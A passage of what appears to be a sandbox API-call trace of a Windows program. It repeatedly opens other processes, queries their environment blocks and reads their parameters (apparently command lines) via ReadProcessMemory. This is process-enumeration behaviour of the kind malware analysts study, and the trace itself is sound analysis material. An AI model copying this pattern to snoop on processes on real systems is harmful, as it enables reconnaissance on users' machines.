dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0178.471] _vsnwprintf (in: _Buffer=0x2dc237cea0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc237c438 | out: _Buffer="10.0.10586") returned 10 [0178.497] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x364) returned 0x330 [0178.497] GetLastError () returned 0x0 [0178.497] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237c490, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c490, ReturnLength=0x0) returned 0x0 [0178.497] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x14a30a018, lpBuffer=0x2dc237c460, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c460*, lpNumberOfBytesRead=0x0) returned 1 [0178.497] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc237c450, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c450*, lpNumberOfBytesRead=0x0) returned 1 [0178.497] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x11bea6033e0, lpBuffer=0x2dc237c870, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c870*, lpNumberOfBytesRead=0x0) returned 1 [0178.498] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x11bea603048, lpBuffer=0x2dc237c1c0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c1c0*, lpNumberOfBytesRead=0x0) returned 1 [0178.498] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x1, ProcessInformation=0x2dc237c4c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c4c0, ReturnLength=0x0) returned 0x0 [0178.499] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237bf98, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237bf98, ReturnLength=0x0) returned 0x0 [0178.500] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x14a30a020, lpBuffer=0x2dc237bf80, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bf80*, lpNumberOfBytesRead=0x0) returned 1 [0178.500] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x11bea602a30, lpBuffer=0x2dc237bfd0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bfd0*, lpNumberOfBytesRead=0x0) returned 1 [0178.500] malloc (_Size=0x58) returned 0x20abc2aa8d0 [0178.500] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x11bea603088, lpBuffer=0x20abc2aa8d0, nSize=0x56, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2aa8d0*, lpNumberOfBytesRead=0x0) returned 1 [0178.501] free (_Block=0x20abc2aa8d0) [0178.502] CloseHandle (hObject=0x330) returned 1 [0178.502] _ui64tow_s (in: _Value=0x37c, _Buffer=0x2dc237d390, _BufferCount=0x104, _Radix=10 | out: _Buffer="892") returned 0x0 [0178.506] _vsnwprintf (in: _Buffer=0x2dc237d0b0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc237c438 | out: _Buffer="892") returned 3 [0178.507] GetVersionExW (in: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0178.507] _vsnwprintf (in: _Buffer=0x2dc237cea0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc237c438 | out: _Buffer="10.0.10586") returned 10 [0178.520] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x37c) returned 0x330 [0178.520] GetLastError () returned 0x0 [0178.521] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237c490, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c490, ReturnLength=0x0) returned 0x0 [0178.521] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0xc818199018, lpBuffer=0x2dc237c460, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c460*, lpNumberOfBytesRead=0x0) returned 1 [0178.521] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc237c450, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c450*, lpNumberOfBytesRead=0x0) returned 1 [0178.521] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x1cb23f03470, lpBuffer=0x2dc237c870, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c870*, lpNumberOfBytesRead=0x0) returned 1 [0178.521] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x1cb23f030c8, lpBuffer=0x2dc237c1c0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c1c0*, lpNumberOfBytesRead=0x0) returned 1 [0178.522] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x1, ProcessInformation=0x2dc237c4c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c4c0, ReturnLength=0x0) returned 0x0 [0178.525] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237bf98, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237bf98, ReturnLength=0x0) returned 0x0 [0178.525] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0xc818199020, lpBuffer=0x2dc237bf80, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bf80*, lpNumberOfBytesRead=0x0) returned 1 [0178.525] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x1cb23f02ab0, lpBuffer=0x2dc237bfd0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bfd0*, lpNumberOfBytesRead=0x0) returned 1 [0178.525] malloc (_Size=0x74) returned 0x20abc282120 [0178.525] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x1cb23f03108, lpBuffer=0x20abc282120, nSize=0x72, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc282120*, lpNumberOfBytesRead=0x0) returned 1 [0178.528] free (_Block=0x20abc282120) [0178.529] CloseHandle (hObject=0x330) returned 1 [0178.530] _ui64tow_s (in: _Value=0x390, _Buffer=0x2dc237d390, _BufferCount=0x104, _Radix=10 | out: _Buffer="912") returned 0x0 [0178.533] _vsnwprintf (in: _Buffer=0x2dc237d0b0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc237c438 | out: _Buffer="912") returned 3 [0178.534] GetVersionExW (in: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0178.534] _vsnwprintf (in: _Buffer=0x2dc237cea0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc237c438 | out: _Buffer="10.0.10586") returned 10 [0178.547] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x390) returned 0x330 [0178.547] GetLastError () returned 0x0 [0178.547] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237c490, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c490, ReturnLength=0x0) returned 0x0 [0178.547] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0xc222932018, lpBuffer=0x2dc237c460, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c460*, lpNumberOfBytesRead=0x0) returned 1 [0178.548] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc237c450, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c450*, lpNumberOfBytesRead=0x0) returned 1 [0178.548] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x22f94f03480, lpBuffer=0x2dc237c870, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c870*, lpNumberOfBytesRead=0x0) returned 1 [0178.548] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x22f94f030c8, lpBuffer=0x2dc237c1c0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c1c0*, lpNumberOfBytesRead=0x0) returned 1 [0178.549] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x1, ProcessInformation=0x2dc237c4c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c4c0, ReturnLength=0x0) returned 0x0 [0178.550] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237bf98, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237bf98, ReturnLength=0x0) returned 0x0 [0178.550] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0xc222932020, lpBuffer=0x2dc237bf80, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bf80*, lpNumberOfBytesRead=0x0) returned 1 [0178.550] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x22f94f02ab0, lpBuffer=0x2dc237bfd0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bfd0*, lpNumberOfBytesRead=0x0) returned 1 [0178.550] malloc (_Size=0x84) returned 0x20abc2831b0 [0178.550] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x22f94f03108, lpBuffer=0x20abc2831b0, nSize=0x82, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2831b0*, lpNumberOfBytesRead=0x0) returned 1 [0178.551] free (_Block=0x20abc2831b0) [0178.552] CloseHandle (hObject=0x330) returned 1 [0178.552] _ui64tow_s (in: _Value=0x3a0, _Buffer=0x2dc237d390, _BufferCount=0x104, _Radix=10 | out: _Buffer="928") returned 0x0 [0178.556] _vsnwprintf (in: _Buffer=0x2dc237d0b0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc237c438 | out: _Buffer="928") returned 3 [0178.557] GetVersionExW (in: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0178.557] _vsnwprintf (in: _Buffer=0x2dc237cea0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc237c438 | out: _Buffer="10.0.10586") returned 10 [0178.574] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x3a0) returned 0x330 [0178.574] GetLastError () returned 0x0 [0178.574] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237c490, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c490, ReturnLength=0x0) returned 0x0 [0178.574] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x2832795018, lpBuffer=0x2dc237c460, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c460*, lpNumberOfBytesRead=0x0) returned 1 [0178.574] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc237c450, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c450*, lpNumberOfBytesRead=0x0) returned 1 [0178.575] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x19ff8603480, lpBuffer=0x2dc237c870, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c870*, lpNumberOfBytesRead=0x0) returned 1 [0178.575] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x19ff86030c8, lpBuffer=0x2dc237c1c0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c1c0*, lpNumberOfBytesRead=0x0) returned 1 [0178.576] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x1, ProcessInformation=0x2dc237c4c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c4c0, ReturnLength=0x0) returned 0x0 [0178.577] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237bf98, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237bf98, ReturnLength=0x0) returned 0x0 [0178.577] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x2832795020, lpBuffer=0x2dc237bf80, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bf80*, lpNumberOfBytesRead=0x0) returned 1 [0178.577] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x19ff8602ab0, lpBuffer=0x2dc237bfd0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bfd0*, lpNumberOfBytesRead=0x0) returned 1 [0178.577] malloc (_Size=0x86) returned 0x20abc2831b0 [0178.577] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x19ff8603108, lpBuffer=0x20abc2831b0, nSize=0x84, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2831b0*, lpNumberOfBytesRead=0x0) returned 1 [0178.578] free (_Block=0x20abc2831b0) [0178.578] CloseHandle (hObject=0x330) returned 1 [0178.579] _ui64tow_s (in: _Value=0x3f0, _Buffer=0x2dc237d390, _BufferCount=0x104, _Radix=10 | out: _Buffer="1008") returned 0x0 [0178.582] _vsnwprintf (in: _Buffer=0x2dc237d0b0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc237c438 | out: _Buffer="1008") returned 4 [0178.583] GetVersionExW (in: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0178.583] _vsnwprintf (in: _Buffer=0x2dc237cea0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc237c438 | out: _Buffer="10.0.10586") returned 10 [0178.597] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x3f0) returned 0x330 [0178.597] GetLastError () returned 0x0 [0178.597] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237c490, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c490, ReturnLength=0x0) returned 0x0 [0178.597] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x44e609d018, lpBuffer=0x2dc237c460, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c460*, lpNumberOfBytesRead=0x0) returned 1 [0178.597] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc237c450, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c450*, lpNumberOfBytesRead=0x0) returned 1 [0178.598] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x22fa5103460, lpBuffer=0x2dc237c870, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c870*, lpNumberOfBytesRead=0x0) returned 1 [0178.598] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x22fa51030c8, lpBuffer=0x2dc237c1c0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c1c0*, lpNumberOfBytesRead=0x0) returned 1 [0178.598] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x1, ProcessInformation=0x2dc237c4c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c4c0, ReturnLength=0x0) returned 0x0 [0178.599] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237bf98, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237bf98, ReturnLength=0x0) returned 0x0 [0178.600] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x44e609d020, lpBuffer=0x2dc237bf80, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bf80*, lpNumberOfBytesRead=0x0) returned 1 [0178.600] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x22fa5102ab0, lpBuffer=0x2dc237bfd0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bfd0*, lpNumberOfBytesRead=0x0) returned 1 [0178.600] malloc (_Size=0x62) returned 0x20abc2807d0 [0178.600] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x22fa5103108, lpBuffer=0x20abc2807d0, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2807d0*, lpNumberOfBytesRead=0x0) returned 1 [0178.601] free (_Block=0x20abc2807d0) [0178.602] CloseHandle (hObject=0x330) returned 1 [0178.602] _ui64tow_s (in: _Value=0x210, _Buffer=0x2dc237d390, _BufferCount=0x104, _Radix=10 | out: _Buffer="528") returned 0x0 [0178.606] _vsnwprintf (in: _Buffer=0x2dc237d0b0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc237c438 | out: _Buffer="528") returned 3 [0178.607] GetVersionExW (in: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0178.607] _vsnwprintf (in: _Buffer=0x2dc237cea0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc237c438 | out: _Buffer="10.0.10586") returned 10 [0178.622] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x210) returned 0x330 [0178.622] GetLastError () returned 0x0 [0178.622] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237c490, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c490, ReturnLength=0x0) returned 0x0 [0178.622] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0xb735b0c018, lpBuffer=0x2dc237c460, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c460*, lpNumberOfBytesRead=0x0) returned 1 [0178.622] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc237c450, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c450*, lpNumberOfBytesRead=0x0) returned 1 [0178.623] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x1fedd303400, lpBuffer=0x2dc237c870, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c870*, lpNumberOfBytesRead=0x0) returned 1 [0178.623] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x1fedd303048, lpBuffer=0x2dc237c1c0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c1c0*, lpNumberOfBytesRead=0x0) returned 1 [0178.624] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x1, ProcessInformation=0x2dc237c4c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c4c0, ReturnLength=0x0) returned 0x0 [0178.625] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237bf98, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237bf98, ReturnLength=0x0) returned 0x0 [0178.625] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0xb735b0c020, lpBuffer=0x2dc237bf80, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bf80*, lpNumberOfBytesRead=0x0) returned 1 [0178.625] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x1fedd302a30, lpBuffer=0x2dc237bfd0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bfd0*, lpNumberOfBytesRead=0x0) returned 1 [0178.625] malloc (_Size=0x82) returned 0x20abc2831b0 [0178.625] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x1fedd303088, lpBuffer=0x20abc2831b0, nSize=0x80, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2831b0*, lpNumberOfBytesRead=0x0) returned 1 [0178.626] free (_Block=0x20abc2831b0) [0178.626] CloseHandle (hObject=0x330) returned 1 [0178.627] _ui64tow_s (in: _Value=0x45c, _Buffer=0x2dc237d390, _BufferCount=0x104, _Radix=10 | out: _Buffer="1116") returned 0x0 [0178.630] _vsnwprintf (in: _Buffer=0x2dc237d0b0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc237c438 | out: _Buffer="1116") returned 4 [0178.631] GetVersionExW (in: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0178.631] _vsnwprintf (in: _Buffer=0x2dc237cea0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc237c438 | out: _Buffer="10.0.10586") returned 10 [0178.644] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x45c) returned 0x330 [0178.644] GetLastError () returned 0x0 [0178.645] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237c490, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c490, ReturnLength=0x0) returned 0x0 [0178.645] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0xd23f744018, lpBuffer=0x2dc237c460, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c460*, lpNumberOfBytesRead=0x0) returned 1 [0178.645] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc237c450, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c450*, lpNumberOfBytesRead=0x0) returned 1 [0178.645] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x1ed07003460, lpBuffer=0x2dc237c870, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c870*, lpNumberOfBytesRead=0x0) returned 1 [0178.645] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x1ed070030c8, lpBuffer=0x2dc237c1c0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c1c0*, lpNumberOfBytesRead=0x0) returned 1 [0178.646] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x1, ProcessInformation=0x2dc237c4c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c4c0, ReturnLength=0x0) returned 0x0 [0178.647] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237bf98, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237bf98, ReturnLength=0x0) returned 0x0 [0178.682] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0xd23f744020, lpBuffer=0x2dc237bf80, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bf80*, lpNumberOfBytesRead=0x0) returned 1 [0178.682] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x1ed07002ab0, lpBuffer=0x2dc237bfd0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bfd0*, lpNumberOfBytesRead=0x0) returned 1 [0178.682] malloc (_Size=0x66) returned 0x20abc2801b0 [0178.682] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x1ed07003108, lpBuffer=0x20abc2801b0, nSize=0x64, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2801b0*, lpNumberOfBytesRead=0x0) returned 1 [0178.683] free (_Block=0x20abc2801b0) [0178.684] CloseHandle (hObject=0x330) returned 1 [0178.685] _ui64tow_s (in: _Value=0x508, _Buffer=0x2dc237d390, _BufferCount=0x104, _Radix=10 | out: _Buffer="1288") returned 0x0 [0178.688] _vsnwprintf (in: _Buffer=0x2dc237d0b0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc237c438 | out: _Buffer="1288") returned 4 [0178.689] GetVersionExW (in: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0178.689] _vsnwprintf (in: _Buffer=0x2dc237cea0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc237c438 | out: _Buffer="10.0.10586") returned 10 [0178.709] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x508) returned 0x330 [0178.709] GetLastError () returned 0x0 [0178.710] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237c490, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c490, ReturnLength=0x0) returned 0x0 [0178.710] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x3f6018, lpBuffer=0x2dc237c460, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c460*, lpNumberOfBytesRead=0x0) returned 1 [0178.710] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc237c450, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c450*, lpNumberOfBytesRead=0x0) returned 1 [0178.710] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0xc1b70, lpBuffer=0x2dc237c870, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c870*, lpNumberOfBytesRead=0x0) returned 1 [0178.710] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0xc1818, lpBuffer=0x2dc237c1c0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c1c0*, lpNumberOfBytesRead=0x0) returned 1 [0178.711] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x1, ProcessInformation=0x2dc237c4c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c4c0, ReturnLength=0x0) returned 0x0 [0178.712] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237bf98, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237bf98, ReturnLength=0x0) returned 0x0 [0178.712] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x3f6020, lpBuffer=0x2dc237bf80, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bf80*, lpNumberOfBytesRead=0x0) returned 1 [0178.712] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0xc1200, lpBuffer=0x2dc237bfd0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bfd0*, lpNumberOfBytesRead=0x0) returned 1 [0178.712] malloc (_Size=0x42) returned 0x20abc27cb20 [0178.713] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0xc1858, lpBuffer=0x20abc27cb20, nSize=0x40, lpNumberOfBytesRead=0x0 | out: 